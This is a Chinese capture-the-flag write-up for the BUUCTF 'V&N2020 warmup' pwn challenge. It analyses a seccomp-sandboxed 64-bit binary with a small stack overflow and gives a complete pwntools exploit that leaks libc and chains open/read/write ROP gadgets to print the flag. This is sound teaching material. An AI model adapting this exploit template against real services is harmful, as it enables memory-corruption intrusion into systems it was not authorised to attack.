• [BUUCTF]PWN——[V&N2020 公开赛]warmup


    [V&N2020 公开赛]warmup

    附件

    步骤:

    1. 例行检查,64位程序,除了canary,其他保护都开
      在这里插入图片描述

    2. 本地运行一下,看看大概的情况
      在这里插入图片描述

    3. 64位ida载入,从main函数开始看程序
      在这里插入图片描述
      看到程序将puts函数的地址泄露给了我们
      sub_84D()函数里面是prctl函数的沙箱机制
      在这里插入图片描述
      可以利用seccomp-tools工具来查看一下限制了哪些函数
      在这里插入图片描述
      禁止了execve和fork syscall,
      关于seccomp-tools工具的安装和使用看这篇文章,关于prctl函数可以看一下这篇文章

    4. sub_9D3()函数,第一个输入点,没什么漏洞
      在这里插入图片描述
      sub_9A1()函数,第二个输入点,可以溢出16字节,也就是我们正好只能覆盖到ret
      在这里插入图片描述
      但是这个函数在调用 sub_9D3 函数的之前没有任何东西入栈
      调用 sub_9A1 的返回地址入栈,覆盖完返回地址,下个8字节又正好是我们上次输入的东西,所以两次输入可以连起来,作为一个ROP链

    5. 一般沙盒类型的题目都不会禁掉open,read,write这三个函数,我们可以想办法在程序中读出flag,并输出,从而得到flag

    64位程序,传参要用到寄存器,题目已经给了我们libc版本,现在libc里找到设置他们值的指令的相对地址
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    然后还有一个问题,那就是将flag读到哪里是个问题,在查阅了其他师傅写的wp之后总结了一下

    1. libc.[‘environ’],是libc存储的栈地址
    2. libc.address + 0x3C6500 和 libc.address + 0x3C6700,是位于libc的bss段
    3. __free_hook ,__free_hook是全局变量,可以直接被修改
    

    搞清楚上述的内容后,开始写exp

    from pwn import *
    
    r=remote('node3.buuoj.cn',27182)
    libc=ELF("./libc-2.23.so")
    context.log_level='debug'
    
    r.recvuntil("0x")   
    puts_addr=int(r.recv(12),16)
    
    libcbase_addr=puts_addr-libc.symbols['puts']
    
    pop_rdi_ret=libcbase_addr+0x21102
    pop_rsi_ret=libcbase_addr+0x202e8
    pop_rdx_ret=libcbase_addr+0x1b92
    
    open_addr=libcbase_addr+libc.symbols['open']
    #free_hook=libcbase_addr+libc.symbols['__free_hook']
    libc_bss =libcbase_addr+0x3c5720
    read_addr=libcbase_addr+libc.symbols['read']
    #puts_addr=libcbase_addr+libc.symbols['puts']
    write_addr=libcbase_addr+libc.symbols['write']
    
    #   写入read函数的调用,之后我们传入‘flag’这4个字符,作为下面open,read,write的文件名
    payload =  p64(0) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
    #	写入open函数的调用,打开名为‘flag’的文件
    payload += p64(pop_rdi_ret) + p64(libc_bss) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
    #	写入read函数的调用,读出‘flag’文件里的内容
    payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
    #	写入write函数的调用,打印出‘flag’文件里的内容
    payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(write_addr)
    
    r.sendafter("Input something: ",payload)
    r.sendafter("What's your name?",'a'* 0x78+p64(pop_rdi_ret))
    r.send("flag")
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    C#中 类的多态
    字段与属性
    C# ASCII与字符串间相互转换
    TextBox控件常用方法总结
    使用hadoop mapreduce分析mongodb数据:(2)
    使用hadoop mapreduce分析mongodb数据:(1)
    Linux MPI集群配置
    VIM文本替换
    怎么解决python中TypeError: can't pickle instancemethod objects的这个错误
    LeetCode ZigZag problem
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273655.html
Copyright © 2020-2023  润新知